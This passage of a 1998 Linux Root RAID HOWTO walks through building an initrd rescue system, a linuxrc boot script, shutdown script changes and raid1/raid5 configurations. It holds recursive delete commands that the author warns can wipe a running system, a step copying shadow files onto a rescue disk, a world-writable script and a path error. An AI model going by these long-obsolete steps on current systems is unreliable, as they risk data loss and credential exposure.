Now!! the Makefile for install is not quite right so do the following to clean up. This will be fixed in future releases so that the re-linking will not be necessary.

Fix the make install error

The file links specified in the Makefile at 'LINKS' must be removed and re-linked to operate properly.

        cd /root/raidboot/mnt/sbin
        ln -fs mdadd mdrun
        ln -fs mdadd mdstop

4.8 Remove un-needed directories and files from new filesystem.

Delete the following directories from filesystem (CAUTION DON'T DELETE FROM YOUR RUNNING SYSTEM) it's easy to do, guess how I found out!!!

        cd /root/raidboot/mnt
        rm -r home/ftp/*
        rm -r lost+found
        rm -r usr/doc
        rm -r usr/info
        rm -r usr/local/man
        rm -r usr/man
        rm -r usr/openwin
        rm -r usr/share/locale
        rm -r usr/X*
        rm -r var/man
        rm -r var/log/packages
        rm -r var/log/setup
        rm -r var/log/disk_contents

4.9 Create /dev/mdx

The last step simply copies the /dev/md* devices from the current file system onto the rescue file system. You could create these with mknode.

        cp -a /dev/md* /root/raidboot/mnt/dev

4.10 Create a bare filesystem suitable for initrd

Now you have a clean re-useable filesystem ready for customization. Once customized, this file system can be used for rescue should the raid device(s) become corrupted and the raid tools needed to fix them. It will also be used to boot and root-mount the raid device by adding the linuxrc file which will be discussed next.

Copy the file system to a smaller device for the initrd file, 16 megs should be large enough.

Create the smaller file system and mount it

        cd /root/raidboot
        dd if=/dev/zero of=bare.fs bs=1024k count=16
associate the file with a loop device and generate a ext2 file system on the file
        losetup /dev/loop1 bare.fs
        mke2fs -v -m0 -L initrd /dev/loop1
        mount /dev/loop1 mnt2
Copy the 'build' file system to 'bare.fs'
        cp -a mnt/* mnt2
Save the 'bare.fs' system before customization so later update is easy. The 'build' file system is no longer needed and may be deleted.
        cd /root/raidboot
        umount mnt
        umount mnt2
        losetup -d /dev/loop0
        losetup -d /dev/loop1
        rm build
        cp bare.fs rescue
        gzip -9 bare.fs

Create the BOOT/RESCUE initrd filesystem

Now copy the system dependent items that match the kernel from the development platform, or you can manually modify the files in the rescue file system to match your target system.

        losetup /dev/loop0 rescue
        mount /dev/loop0 mnt
Make sure your etc directory is clean of *~, core and log files. The next 2 commands creates some warning messages, ignore them.
        cp -dp /etc/* mnt/etc
        cp -dp /etc/rc.d/* mnt/etc/rc.d

        mkdir  mnt/lib/modules
        cp -a  /lib/modules/2.x.x mnt/lib/modules <--- your current 2.x.x

Corrections for the Rescue System

Edit the following files to correct them for your rescue system. Some file names listed below are Slackware specific but have equivalents in other distributions.

        cd mnt

Non-network
        etc/fstab
        etc/mdtab       should work OK
Network
        etc/hosts
        etc/resolv.conf
        etc/hosts.equiv         and related files
        etc/rc.d/rc.inet1       correct ip#, mask, gateway, etc...
        etc/rc.d/rc.S           remove entire section on file system status
                from:
                        # Test to see if the root partition is read-only
                to but not including:
                        # remove /etc/mtab* so that mount will .....
                                This avoids the annoying warning that
                                the ramdisk is mounted rw.
        etc/rc.d/rc.xxxxx       others as required, see later on in this doc
        root/.rhosts            if present
        home/xxxx/xxxx          others as required

    WARNING:    The above procedure moves your password and shadow
                files onto the rescue disk!!!!!

    WARNING:    You may not wish to do this for security reasons.
Create any directories for mounting /dev/disk... as may be required that are unique to your system. These are the mountpoints for booting the system (boot partition and backup boot partition). My system boot from dos using loadlin, however linux partition(s) and lilo will work fine. My system uses:
        cd /root/raidboot/mnt           <--- initrd root
        mkdir dosa                      dos partition mount point
        mkdir dosb                      dos mirror mount point
The rescue file system is complete!

You will note upon examination of the files in the rescue file system, that there are still many files that could be deleted. I have not done this since it would overly complicate this procedure and most raid systems have adequate disk and memory. If you wish to skinny down the file system, go to it!

4.11 Making 'initrd' boot the RAID device - linuxrc

To make the rescue disk boot the raid device, you need only copy the executable script file:

linuxrc

to the root of the device.

The theory of operation for this linuxrc file is discussed in Appendix G, linuxrc theory of operation.

A very simple and much easier to understand (working) linuxrc is included in Appendix D, obsolete linuxrc and shutdown scripts. Copy the following text to linuxrc and save in your development area.

 -------------------- linuxrc ----------------------
#!/bin/sh
# ver 1.13 3-6-98
#
################# BEGIN 'linuxrc' ##################
#                DEFINE FUNCTIONS                  #
####################################################
# Define 'Fault' function in the event something
# goes wrong during the execution of 'linuxrc'
#
FaultExit () {
# correct fstab to show '/dev/ram0' for rescue system
    /bin/cat /etc/fstab | {
    while read Line
    do
        if [ -z "$( echo ${Line} | /usr/bin/grep md0 )" ]; then
            echo ${Line}
        else
            echo "/dev/ram0 / ext2 defaults 1 1"
        fi
    done
    } > /etc/tmp.$$
    /bin/mv /etc/tmp.$$ /etc/fstab
#       point root at /dev/ram0 (the rescue system)
        echo 0x100>/proc/sys/kernel/real-root-dev
        /bin/umount /proc
        exit
}

# Define 'Warning' procdure to print banner on boot terminal
#
Warning () {
    echo '*********************************'
    echo -e " $*"
    echo '*********************************'
}

# Define 'SplitKernelArg' to help extract 'Raid' related kernel arguments
SplitKernelArg () { eval $1='$( IFS=,; echo $2)' }

#Define 'SplitConfArgs' to help extract system configuration arguments
SplitConfArgs () {
    RaidBootType=$1
    RaidBootDevice=$2
    RaidConfigPath=$3
}
########################################################
################### MAIN linuxrc #######################
########################################################
# mount the proc file system
/bin/mount /proc

# Get the boot partition and configuration location from command line
CMDLINE=`/bin/cat /proc/cmdline`
for Parameter in $CMDLINE; do
    Parameter=$( IFS='='; echo ${Parameter} )
    case $Parameter in
        Raid*) SplitKernelArg $Parameter;;
    esac
done

# check for 'required raid boot'
if [ -z "${Raid_Conf}" ]; then
    Warning Kernel command line \'Raid_Conf\' missing
    FaultExit
fi
SplitConfArgs $Raid_Conf

# tmp mount the boot partition
/bin/mount -t ${RaidBootType} ${RaidBootDevice} /mnt

# get etc files from primary raid system
pushd /etc

# this will un-tar into 'etc' (see rc.6)
if [ ! -f /mnt/${RaidConfigPath}/raidboot.etc ]; then
# bad news, this file should be here
    Warning required file \'raidboot.etc\' \
    missing from ${RaidBootDevice}/${RaidConfigPath} \\n \
    \\tUsing rescue system defaults
else
    /bin/tar -xf /mnt/${RaidConfigPath}/raidboot.etc
fi
# get 'real' raidboot device for this boot
# status path, and name of raidX.conf
if [ ! -f /mnt/${RaidConfigPath}/raidboot.cfg ]; then
# bad news, this file should be here
    Warning required file 'raidboot.cfg' \
    missing from ${RaidBootDevice}/${RaidConfigPath}\\n \
    \\tUsing rescue system defaults
# Get the first raidX.conf file name in $RArg1
    RaidBootDevs=$RaidBootDevice
    RaidStatusPath=$RaidConfigPath
    for RaidConfigEtc in $( ls raid*.conf )
    do break; done
else
    {
    read RaidBootDevs
    read RaidStatusPath
    read RaidConfigEtc
    } < /mnt/${RaidConfigPath}/raidboot.cfg

fi
popd
/bin/umount /mnt

# Set a flag in case the raid status file is not found
#
RAIDOWN="raidboot.ro not found"
RAIDREF="raidgood.ref not found"
echo "Reading md0 shutdown status."

# search for raid shutdown status
for Device in ${RaidBootDevs}
do
#   these filesystem types should be in 'fstab' since
#   the partitions must be mounted for a clean raid shutdown
    /bin/mount ${Device} /mnt
    if [ -f /mnt/${RaidStatusPath}/raidboot.ro ]; then
        RAIDOWN=`/bin/cat /mnt/${RaidStatusPath}/raidboot.ro`
        RAIDREF=`/bin/cat /mnt/${RaidStatusPath}/raidgood.ref`
        /bin/umount /mnt
        break
    fi
    /bin/umount /mnt
done
# Test for a clean shutdown with array matching reference
if [ "${RAIDOWN}" != "${RAIDREF}" ]; then
    Warning shutdown ERROR ${RAIDOWN}
    FaultExit
fi

# The raid array is clean, remove shutdown status files
for Device in ${RaidBootDevs}
do
    /bin/mount ${Device} /mnt
    /bin/rm -f /mnt/${RaidStatusPath}/raidboot.ro
    /bin/umount /mnt
done

# Write a clean superblock on all raid devices

echo "write clean superblocks"
/sbin/mkraid -f --only-superblock /etc/${RaidConfigEtc}

# Activate raid array(s)
if [ -z "$Raid_ALT" ]; then
    /sbin/mdadd -ar
else
    /sbin/mdadd $Raid_ALT
fi

#  If there are errors - BAIL OUT and leave rescue running
if [ $? -ne 0 ]; then
   Warning some RAID device has errors
   FaultExit
fi

# Everything is fine, let the kernel mount /dev/md0
# tell the kernel to switch to /dev/md0 as the /root device
# The 0x900 value is the device number calculated by:
#  256*major_device_number + minor_device number
echo "/dev/md0 mounted on root"
echo 0x900>/proc/sys/kernel/real-root-dev
# umount /proc to deallocate initrd device ram space
/bin/umount /proc
exit
#------------------ end linuxrc ----------------------
Add 'linuxrc' to initrd boot device
        cd /root/raidboot
        chmod 777 linuxrc
        cp -p linuxrc mnt

4.12 Modifying the rc-scripts for SHUTDOWN

To complete the installation, modify the rc scripts to save the md status to the real root device when shutdown occurs.

In slackware this is rc.0 -> rc.6
In debian 'bo' this is in both 'halt' and 'reboot'

If you implement this in another distribution, please e-mail
the instructions and sample files so they can be included here.
I have modified Bohumil Chalupa's raid stop work-around slightly. His original solution is presented in Appendix A.

Since there are no linux partitions left on the production system except md0, the boot partitions are used to store the raidOK readonly status. I chose to write a file to each of the duplicate boot partitions containing the status of the md array at shutdown and signifying that the md device has been remounted RO. This allows the system to be fail safe when any of the hard drives die.

The shutdown script is modified to call rc.raidown which saves the necessary information to successfully reboot and mount the raid device. Examples of shutdown scripts for various linux distributions are shown in Appendix B.

To capture the raid array shutdown status insert a call to rc.raidown after any case statements (if present) but before the actual shutdown (kills, status saves, etc...) begins and before the file systems are dismounted.

############ Save raid boot and status info ##############
#
  if [ -x /etc/rc.d/rc.raidown ]; then
    /etc/rc.d/rc.raidown
  fi
################## end raid boot #########################
After all the file systems are dismounted (the root file system 'will not' dismount) but before any powerfail status check add:
################ for raid arrays #########################
# Stop all known raid arrays (except root which won't stop)
  if [ -x /sbin/mdstop ]; then
    echo "Stopping raid"
    /sbin/mdstop -a
  fi
##########################################################
This will cleanly stop all raid devices except root. Root status is passed to the next boot in raidstat.ro.

Copy the rc file to your new raid array, the rescue file system that is still mounted on /root/raidboot/mnt and the development system if it is on the same machine.

Modify rescue etc/fstab as needed and make sure rescue mdtab is correct.

Now copy the rescue disk to your dos partition and everything should be ready to boot the raid device as root.

        umount mnt
        losetup -d /dev/loop0
        gzip -9 rescue
Copy rescue.gz to your boot partitions.

All that remains is to creat the configuration file raidboot.conf and test the new file system by rebooting.

4.13 Configuring RAIDBOOT - raidboot.conf

The comments following the example configuration file explain each of the three lines. This example file is for a 4 drive raid5 scsii array with duplicate boot partitions on drives sda1 and sdb1. Put the paramaters descriptive of your file systems here instead.

  /dev/sda1 /dev/sdb1
  linux
  raid5.conf
# comments may only be placed 'after' the three
# configuration lines.
#
# This is 'raidboot.conf'
#
# line one, the partition(s) containing the 'initrd' raid-rescue system
#       It is not necessary to boot from these partitions, however,
#       since the rescue system will not fit on floppy, it is necessary
#       to know which partitions are to be used to load the rescue system
#
# line two, the path to the raidboot config information
#       Where the shutdown status, etc... is located at boot time
#       It does NOT include the mount point information, only 'path'
#       /mntpoint/'path'
#
# line -3-, name of the raid configuration file
#       Current raid configuration file i.e. raid1.conf, raid5.conf

4.14 Kernel 'loadlin and lilo' variables for RESCUE and RAID

There are two kernel variables for the RESCUE and RAID system, only the first need be specified.

  • Raid_Conf=msdos,/dev/sda1,raidboot
    This variable points to raid boot device and configuration file. For floppy rescue boot, you may want to specify this on the kernel command line or in the loadlin or lilo boot file
    format: 'filesystem-type,device,path-to-config-from-mountpoint'
  • Raid_ALT=-r,-p5,/dev/md0,/dev/sda3 /dev/sdb3 /dev/sdc3 /dev/sdd3
    Alternate mdadd parameters necessary when booting with non-redundant raid array. These are the comma separated command line parameters for mdadd. Unless they are needed to start a failed/non-redundant array, COMMENT OUT OR SPECIFY WITH A 'NULL'.
    i.e. Raid_ALT=
Either of these parameters may be specified in the lilo or loadlin boot parameter file or on the loadlin kernel command line. Care must be taken that the maximum line length is not exceeded, however, if the command line is used (128 characters).

When booting with lilo, the parameters are included in the lilo config file in the form:

append="Raid_Conf=msdos,/dev/sda1,raidboot"
append="Raid_ALT=-r,-p5,/dev/md0,/dev/sda3 /dev/sdb3 /dev/sdc3 /dev/sdd3"
See man lilo.conf for more detailed information.

Since I have some hardware that requires DOS configuration utilities, I have a small dos partition on the system. Therefore, I used loadlin to boot the raid5 system from the dos partition with a mirror (copy) on the companion disk. An identical method is used for the raid1 system. The example below uses loadlin, but the procedure is very similar for lilo.

My dos root system contains a small editor among the utilities so I can modify the boot parameters of loadlin if necessary, allowing me to reboot the linux system on my swap disk while testing.

The dos system contains this tree for linux"

        c:\raidboot.bat
        c:\raidboot\loadlin.exe
        c:\raidboot\zimage
        c:\raidboot\rescue.gz
        c:\raidboot\raidboot.cfg
        c:\raidboot\raidboot.etc
        c:\raidboot\raidgood.ref
        c:\raidboot\raidstat.ro (only at shutdown)
linux.bat contains:
---------------------- linux.bat ---------------------------
echo "Start the LOADLIN process:"
c:\raidboot\loadlin @c:\raidboot\boot.par
-------------------- end linux.bat -------------------------
boot.par contains:
        # loadlin boot parameter file
        #
        # version 1.02 3-6-98

        # linux kernel image
        c:\linux\zimage

        # target root device
        root=/dev/md0
        #root=/dev/ram0
        #root=/dev/sdc5

        # mount root device as 'ro'
        ro

        # size of ram disk
        ramdisk_size=16384

        # initrd file name
        initrd=c:\raidboot\rescue.gz
        #noinitrd

        # memory ends here
        mem=131072k

        # points to raid boot device, configuration file
        # for floppy rescue boot, you may want to specify
        # this on the command line instead of here
        # format 'filesystem-type,device,path-to-config-frm_mntpnt'
        Raid_Conf=msdos,/dev/sda1,raidboot

        # Alternate mdadd parameters
        # necessary when boot with non-redundant raid
        # otherwise, COMMENT OUT OR SPECIFY 'NULL'
        #Raid_ALT=-r,-p5,/dev/md0,/dev/sda3 /dev/sdb3 /dev/sdc3 /dev/sdd3

        # ethernet devices
        ether=10,0x300,eth0

***** >> NOTE!! the only difference between forcing the rescue system to
            run and the raid device mounting, is the loadlin parameter

                root=/dev/ram0          for the rescue system
                root=/dev/md0           for RAID

                With root=/dev/ram0 the RAID device will not mount
                and the rescue system will run unconditionally.

If the RAID array fails, the rescue system is left mounted and running.


Root RAID HOWTO cookbook: Configuring the Production RAID system.

 Next Previous Contents

5. Configuring the Production RAID system.

5.1 System specs. Two systems with identical motherboards were configured.

                                  Raid-1          Raid-5
Motherboard:    Iwill P55TU     dual ide        adaptec scsi
Processor:      Intel P200
Disks:                          2ea  7 gig      4 ea Segate 4.2 gig
                                Maxtors         wide scsii
The disk drives are designated by linux as 'sda' through 'sdd' on the raid5 system and 'hda' and 'hdc' on the raid1 system.

5.2 Partitioning the hard drives.

Since testing a large root mountable RAID array is difficult because of the ckraid re-boot problem, I re-partitioned my swap space to include a smaller RAID partition for testing purposes, sda6,sdb6,sdc6,sdd6, and a small root and /usr/src partition pair for developing and testing the raid kernel and tools. You may find this helpful.

        <bf/DEVELOPMENT SYSTEM - RAID5/
   Device       System          Size    Purpose

  /dev/sda1     dos boot        16 meg  boot partition
* /dev/sda2     extended        130 meg (see below)
  /dev/sda3     linux native    4 gig   primary raid5-1
----------------------sda2------------------------------
* /dev/sda5     linux swap      113 meg SWAP space
* /dev/sda6     linux native    16 meg  test raid5-1
========================================================
  /dev/sdb1     dos boot        16 meg  boot partition duplicate
* /dev/sdb2     extended        130 meg (see below)
  /dev/sdb3     linux native    4 gig   primary raid5-2
----------------------sdb2------------------------------
* /dev/sdb5     linux swap      113 meg SWAP space
* /dev/sdb6     linux native    16 meg  test raid5-2
========================================================
* /dev/sdc2     extended        146 meg (see below)
  /dev/sdc3     linux native    4 gig   primary raid5-3
----------------------sdc2------------------------------
* /dev/sdc5     linux swap      130 meg development root partition
* /dev/sdc6     linux native    16 meg  test raid5-3
========================================================
* /dev/sdd2     extended        146 meg (see below)
  /dev/sdd3     linux native    4 gig   primary raid5-4
----------------------sdd2------------------------------
* /dev/sdd5     linux swap      130 meg development /usr/src
* /dev/sdd6     linux native    16 meg  test raid5-4

        <bf/DEVELOPMENT SYSTEM - RAID1/
   Device       System          Size    Purpose

  /dev/hda1     dos             16meg   boot partition
* /dev/hda2     extended        126m    (see below)
  /dev/hda3     linux           126m    development root partition
  /dev/hda4     linux           6+gig   raid1-1
----------------------hda2------------------------------
* /dev/hda5     linux            26m    test raid1-1
* /dev/hda6     linux swap      100m
========================================================

  /dev/hdc1     is simply an exact copy of hda1 so the
                partion can be made active if hda fails
* /dev/hdc2     extended        126m    (see below)
  /dev/hdc3     linux           126m    development /usr/src
  /dev/hdc4     linux           6+gig   raid1-2
----------------------hdc2------------------------------
* /dev/hdc5     linux            26m    test raid1-2
* /dev/hdc6     linux swap      100m
The sdx2 and hdx3 partitions were switched to 'swap' after developing this utility. I could have done it on another machine, however, the libraries and kernels are all about a year or more out of date on my other linux boxes and I preferred to build it on the target machine.

The partitioning scheme was chosen so that in the event that any one of the drives fails catastrophically, the system will continue to run and be bootable with minimum effort and NO data loss.

  • If any single hard drive fails, the boot will abort, and the rescue system will run. Examination of the screen message or /dosx/raidboot/raidstat.ro will tell the operator the status of the failed array.
  • If sda1 (raid5) or hda1 (raid1) fails, the dos backup boot partition must be made 'active' and the bios must recognize the new partition as the boot device or it must be physically be moved to the xda position. Alternatively, the system could be booted from a floppy disk using the initrd image on the remaining backup boot drive. The raid system can then be made active again by issuing:
             "/sbin/mkraid /etc/raid<it/x/.conf -f --only-superblock"
    to rebuild the remaining superblock(s).
  • Once this is done, then
            mdadd -ar
  • Examine the status of the array to verify that everything is OK then replace the good array reference with the current status until the failed disk can be repaired or replaced.
            cat /proc/mdstat | grep md0 > /dosx/raidboot/raidgood.ref

        shutdown -r now
    to do a clean reboot, and the system is up again.


Root RAID HOWTO cookbook: Building the RAID file system.

 Next Previous Contents

6. Building the RAID file system.

This description is for my RAID systems described in the system specs. Your system may have a different RAID architecture, so modify as appropriate. Please read the man pages and QuickStart.RAID that come with the raidtools-0.42

6.1 /etc/raid5.conf

        # raid-5 configuration
        raiddev                 /dev/md0
        raid-level              5
        nr-raid-disks           4
        chunk-size              32

        # Parity placement algorithm
        parity-algorithm        left-symmetric

        # Spare disks for hot reconstruction
        #nr-spare-disks         0

        device                  /dev/sda3
        raid-disk               0

        device                  /dev/sdb3
        raid-disk               1

        device                  /dev/sdc3
        raid-disk               2

        device                  /dev/sdd3
        raid-disk               3

6.2 /etc/raid1.conf

        # raid-1 configuration
        raiddev                 /dev/md0
        raid-level              1
        nr-raid-disks           2
        nr-spare-disks          0

        device                  /dev/hda4
        raid-disk               0

        device                  /dev/hdc4
        raid-disk               1

6.3 Step by Step procedures for building production RAID file system.

For my RAID5 system I did a complete install of:

        Slackware-3.4           any current distribution should work OK
        linuxthreads-0.71
        raidtools-0.42
        linux-2.0.33 with raid145 patch and Gadi's patch

Create and format the raid device.

        mkraid /etc/raid5.conf
        mdcreate raid5 /dev/md0 /dev/sda3 /dev/sdb3 /dev/sdc3 /dev/sdd3
        mdadd -ar
        mke2fs /dev/md0
        mkdir /md
        mount -t ext2 /dev/md0 /md
Create the reference files that reboot will use, this may be different on your system.
        cat /proc/mdstat | grep md0 > /dosa/raidboot/raidgood.ref
        cat /proc/mdstat | grep md0 > /dosb/raidboot/raidgood.ref
Use Slackware-3.4 or another distribution to build your OS
        setup
Specify '/md' as the target, and the source whatever your normally use. Select and install the disksets of interest except for the kernel. Configure the system, but skip the section on lilo and kernel booting. Exit setup.

Install 'pthreads'

        cd /usr/src/linuxthreads-0.71
edit the Makefile and specify
        BUILDIR=/md

        make
        make install
Install 'raidtools'
        cd /usr/src/raidtools-0.42
        configure --sbindir=/md/sbin --prefix=/md/usr
fix the raidtools make install error
        cd /md/sbin
        rm mdrun
        rm mdstop
        ln -s mdadd mdrun
        ln -s mdadd mdstop
Create /dev/mdx
        cp -a /dev/md* /md/dev
Add the system configuration from the current system (ignore errors).
        cp -dp /etc/* mnt/etc
        cp -dp /etc/rc.d/* mnt/etc/rc.d         (include the new rc.6)
        mkdir  mnt/lib/modules
        cp -a  /lib/modules/2.x.x mnt/lib/modules <--- your current 2.x.x
Edit the following files to correct them for your file system
        cd /md

Non-network
        etc/fstab       correct for real root and raid devices.
        etc/mdtab       should work OK
Network
        etc/hosts
        etc/resolv.conf
        etc/hosts.equiv         and related files
        etc/rc.d/rc.inet1       correct ip#, mask, gateway, etc...
        etc/rc.d/rc.S           remove entire section on file system status
                from:
                        # Test to see if the root partition isread-only
                to but not including:
                        # remove /etc/mtab* so that mount will .....
                                This avoids the annoying warning that
                                the ramdisk is mounted rw.
        etc/rc.d/rc.xxxxx       others as required
        root/.rhosts            if present
        home/xxxx/xxxx          others as required

    WARNING:    The above procedure moves your password and shadow
                files onto the new file system!!!!!

    WARNING:    You may not wish to do this for security reasons.
Create any directories for mounting /dev/disk... as may be required that are unique to your system. Mine need:
        cd /md          <--- new file system root
        mkdir dosa                      dos partition mount point
        mkdir dosb                      dos mirror mount point
The new file system is complete. Make sure and save the md reference status to the 'real' root device and you are ready to boot.

mount the dos partitions on dosa and dosb

        cat /proc/mdstat | grep md0 > /dosa/raidboot/raidgood.ref
        cat /proc/mdstat | grep md0 > /dosb/raidboot/raidgood.ref

        mdstop /dev/md0


Root RAID HOWTO cookbook: One last thought.

 Next Previous Contents

7. One last thought.

Remember that an expert is someone who knows at least 1% more than you do about a subject. Bear this in mind when you e-mail me for help. I'll try, but I've only done this once for raid1 and once for raid5!

Michael Robinton Michael@bzs.org


Root RAID HOWTO cookbook: Appendix A. - Bohumil Chalupa's md0 shutdown

 Next Previous Contents

8. Appendix A. - Bohumil Chalupa's md0 shutdown

Bohumil Chalupa's post to the linux raid list on the work around for the raid1 + 5 mdstop problem. His solution does not address the possibility of the raid device being corrupt at shutdown. So I have added a simple status comparison to a good reference status at boot. This allows the operator to intervene if something is wrong with a disk in the array. The description of this is in the main body of this document.

> From: Bohumil Chalupa <bochal@apollo.karlov.mff.cuni.cz>
>
> I can now boot initrd and use linuxrc to start the RAID1 array,
> then successfully switch root to /dev/md0.
>
> I don't know, however, any way how to cleanly _stop_ the array.

Well. I have to answer myself :-)

> Date: Mon, 29 Dec 1997 02:21:38 -0600 (CST)
> From: Edward Welbon <welbon@bga.com>
> Subject: Re: dismounting root raid device
>
> For md devices other than raid0, there is probably state that needs to
> be saved that is only known once all writes have completed.  Such state
> of course can't be saved to root once it is mounted readonly.  In that
> case, you would have to be able to mount a writeable filesystem "X"
> on the readonly root and be able to write to "X" (I recall doing this
> during "rescue" operations, but not as an automated procedure).
>
> The filesystem "X" would presumably be a boot device from which the raid
> (during linuxrc exection via initrd) would pickup it's initial state from.
> Fortunately raid0 isn't required to write out any state (though it would
> be pleasant to be able to write the check sums to mdtab after an mdstop).
> Eventually, I will fiddle with this but it doesn't seem difficult though
> the "devil" is always in the "details".

Yes, that's it.
I had this idea in mind for some time already, but had no time to try it.
Yesterday I did, and it works.

With my RAID1 (mirror), I don't save any checksums or raid superblock data.
I only save an information on the "real" boot partition, that the root md
volume was remounted readonly during shutdown. Then, during boot, the
linuxrc script runs mkraid --only-superblock  when it finds this
information; otherwise, it runs ckraid.
This means, that the raid superblock information is not updated during
shutdown; it's updated at the boot time.
It is not very clean, I'm afraid,  :-(   but it works.

I'm using Slackware and initrd.md by Edward Welbon to boot the root raid
device.
As far as I remember now, the only modified files are
mkdisk and linuxrc, and /etc/rc.d/rc.6 shutdown script.
And lilo.conf, of course.

I'm appending the important parts.

Bohumil Chalupa

--------------- my.linuxrc follows -----------------
#!/bin/sh
# we need /proc
/bin/mount /proc
# start up the md0 device. let the /etc/rc.d scripts get the rest of them
# we should do as little as possible here
# ________________________________________
# root raid1 shutdown test & recreation
# /start must be created on the rd image in my.mkdisk
echo "preparing md0: mounting /start"
/bin/mount /dev/sda2 /start -t ext2
echo "reading saved md0 state from /start"
if [ -f /start/root.raid.ok ]; then
 echo "raid ok, modyfying superblock"
 rm /start/root.raid.ok
 /sbin/mkraid /etc/raid1.conf -f --only-superblock
else
 echo "raid not clean, runing ckraid --fix"
 /sbin/ckraid --fix /etc/raid1.conf
fi
echo "unmounting /start"
/bin/umount /start
# _________________________________________
#
echo "adding md0 for root file system"
/sbin/mdadd /dev/md0 /dev/sda1 /dev/sdb1
echo "starting md0"
/sbin/mdrun -p1 /dev/md0
# tell kernel we want to switch to /dev/md0 as root device, the 0x900 value
# is arrived at via 256*major_device_number + minor_device number.
echo "setting real-root-dev"
/bin/echo 0x900>/proc/sys/kernel/real-root-dev
#  unmount /proc so that the ram disk can be deallocated.
echo "unmounting /proc"
/bin/umount /proc
/bin/echo "We are hopefully ready to mount /dev/md0 (major 9, minor 0) as
root"
exit
--------------- end of my.linuxrc ----------------------------------

----------- extract from /etc/rc.d/rc.6 follows -----------------
  # Turn off swap, then unmount local file systems.
  echo "Turning off swap."
  swapoff -a
  echo "Unmounting local file systems."
  umount -a -tnonfs
  # Don't remount UMSDOS root volumes:
  if [ ! "`mount | head -1 | cut -d ' ' -f 5`" = "umsdos" ]; then
    mount -n -o remount,ro /
  fi

  # Save raid state
  echo "Saving RAID state"
  /bin/mount -n /dev/sda2 /start -t ext2
  touch /start/root.raid.ok
  /bin/umount -n /start

-------------- end of excerpt from rc.6 ------------------------

------------------ part of my.mkdisk follows ----------------------
#
#  now we have the filesystem ready to be populated, we need to
#  get a few important directories.  I had endless trouble till
#  I created a pristine mtab.  In my case, it is convenient that
#  /etc/mdtab is copied over, this way I can activate md with
#  a simple "/sbin/mdadd -ar" in linuxrc.
#
cp -a $ROOT/etc $MOUNTPNT 2>cp.stderr 1>cp.stdout
rm -rf $MOUNTPNT/etc/mtab
rm -rf $MOUNTPNT/etc/ppp*
rm -rf $MOUNTPNT/etc/termcap
rm -rf $MOUNTPNT/etc/sendmail*
rm -rf $MOUNTPNT/etc/rc.d
rm -rf $MOUNTPNT/etc/dos*
cp -a $ROOT/sbin $ROOT/dev $ROOT/lib $ROOT/bin $MOUNTPNT 2>>cp.stderr
1>>cp.stdout
# _____________________________________________________________________
#  RAID: will need mkraid and ckraid
cp -a $ROOT/usr/sbin/mkraid $ROOT/usr/sbin/ckraid $MOUNTPNT/sbin
2>>cp.stderr 1>>cp.stdout
# ---------------------------------------------------------------------
#  it seems that init wont come out to play unless it has utmp.   this can
#  probably be pruned back alot.  no telling what the real bug was 8-).
#
mkdir $MOUNTPNT/var $MOUNTPNT/var/log $MOUNTPNT/var/run $MOUNTPNT/initrd
touch $MOUNTPNT/var/run/utmp $MOUNTPNT/etc/mtab
chmod a+r $MOUNTPNT/var/run/utmp $MOUNTPNT/etc/mtab
ln -s /var/run/utmp $MOUNTPNT/var/log/utmp
ln -s /var/log/utmp $MOUNTPNT/etc/utmp
ls -lstrd $MOUNTPNT/etc/utmp $MOUNTPNT/var/log/utmp $MOUNTPNT/var/run/utmp
#
#  since I wanted to change the mount point, I needed this though
#  I suppose that I could have done a "mkdir /proc" in linuxrc.
#
mkdir $MOUNTPNT/proc
chmod 555 $MOUNTPNT/proc
#
#  ------------------------------------------------------
#  we'll mount the real boot device to /start temporarily
#  to check the root raid state saved at shutdown time
#
mkdir $MOUNTPNT/start
#  -------------------------------------------------------
#
#  need linuxrc  (it is, after all, the point of this exercise).
#
if [ -x ./my.linuxrc ]; then
  cp -a ./my.linuxrc $MOUNTPNT/linuxrc
  chmod 777 $MOUNTPNT/linuxrc
else
   ln -s /bin/sh $MOUNTPNT/linuxrc
fi
#
----------------- part of my.mkdisk ends -----------------


Root RAID HOWTO cookbook: Appendix B. - Sample SHUTDOWN scripts

 Next Previous Contents

9. Appendix B. - Sample SHUTDOWN scripts

  • Slackware
  • Debian

9.1 Slackware - /etc/rc.d/rc.6

#! /bin/sh
#
# rc.6          This file is executed by init when it goes into runlevel
#               0 (halt) or runlevel 6 (reboot). It kills all processes,
#               unmounts file systems and then either halts or reboots.
#
# Version:      @(#)/etc/rc.d/rc.6      1.50    1994-01-15
#
# Author:       Miquel van Smoorenburg <miquels@drinkel.nl.mugnet.org>
# Modified by:  Patrick J. Volkerding, <volkerdi@ftp.cdrom.com>
#
# Modified by:  Michael A. Robinton < michael@bizsystems.com >
#               to add call to rc.raidown
  # Set the path.
  PATH=/sbin:/etc:/bin:/usr/bin

  # Set linefeed mode to avoid staircase effect.
  stty onlcr

  echo "Running shutdown script $0:"

  # Find out how we were called.
  case "$0" in
        *0)
                message="The system is halted."
                command="halt"
                ;;
        *6)
                message="Rebooting."
                command=reboot
                ;;
        *)
                echo "$0: call me as \"rc.0\" or \"rc.6\" please!"
                exit 1
                ;;
  esac

############ Save raid boot and status info ##############
#
if [ -x /etc/rc.d/rc.raidown ]; then
   /etc/rc.d/rc.raidown
fi
################## end raid boot #########################

  # Kill all processes.
  # INIT is supposed to handle this entirely now, but this didn't always
  # work correctly without this second pass at killing off the processes.
  # Since INIT already notified the user that processes were being killed,
  # we'll avoid echoing this info this time around.
  if [ "$1" != "fast" ]; then # shutdown did not already kill all processes
    killall5 -15
    killall5 -9
  fi

  # Try to turn off quota and accounting.
  if [ -x /usr/sbin/quotaoff ]
  then
        echo "Turning off quota."
        /usr/sbin/quotaoff -a
  fi
  if [ -x /sbin/accton ]
  then
        echo "Turning off accounting."
        /sbin/accton
  fi

  # Before unmounting file systems write a reboot or halt record to wtmp.
  $command -w

  # Save localtime
  [ -e /usr/lib/zoneinfo/localtime ] && cp /usr/lib/zoneinfo/localtime /etc

  # Asynchronously unmount any remote filesystems:
  echo "Unmounting remote filesystems."
  umount -a -tnfs &

  # Turn off swap, then unmount local file systems.
  echo "Turning off swap."
  swapoff -a
  echo "Unmounting local file systems."
  umount -a -tnonfs
  # Don't remount UMSDOS root volumes:
  if [ ! "`mount | head -1 | cut -d ' ' -f 5`" = "umsdos" ]; then
    mount -n -o remount,ro /
  fi

################ for raid arrays #########################
# Stop all known raid arrays (except root which won't stop)
if [ -x /sbin/mdstop ]; then
  echo "Stopping raid"
  /sbin/mdstop -a
fi
##########################################################

  # See if this is a powerfail situation.
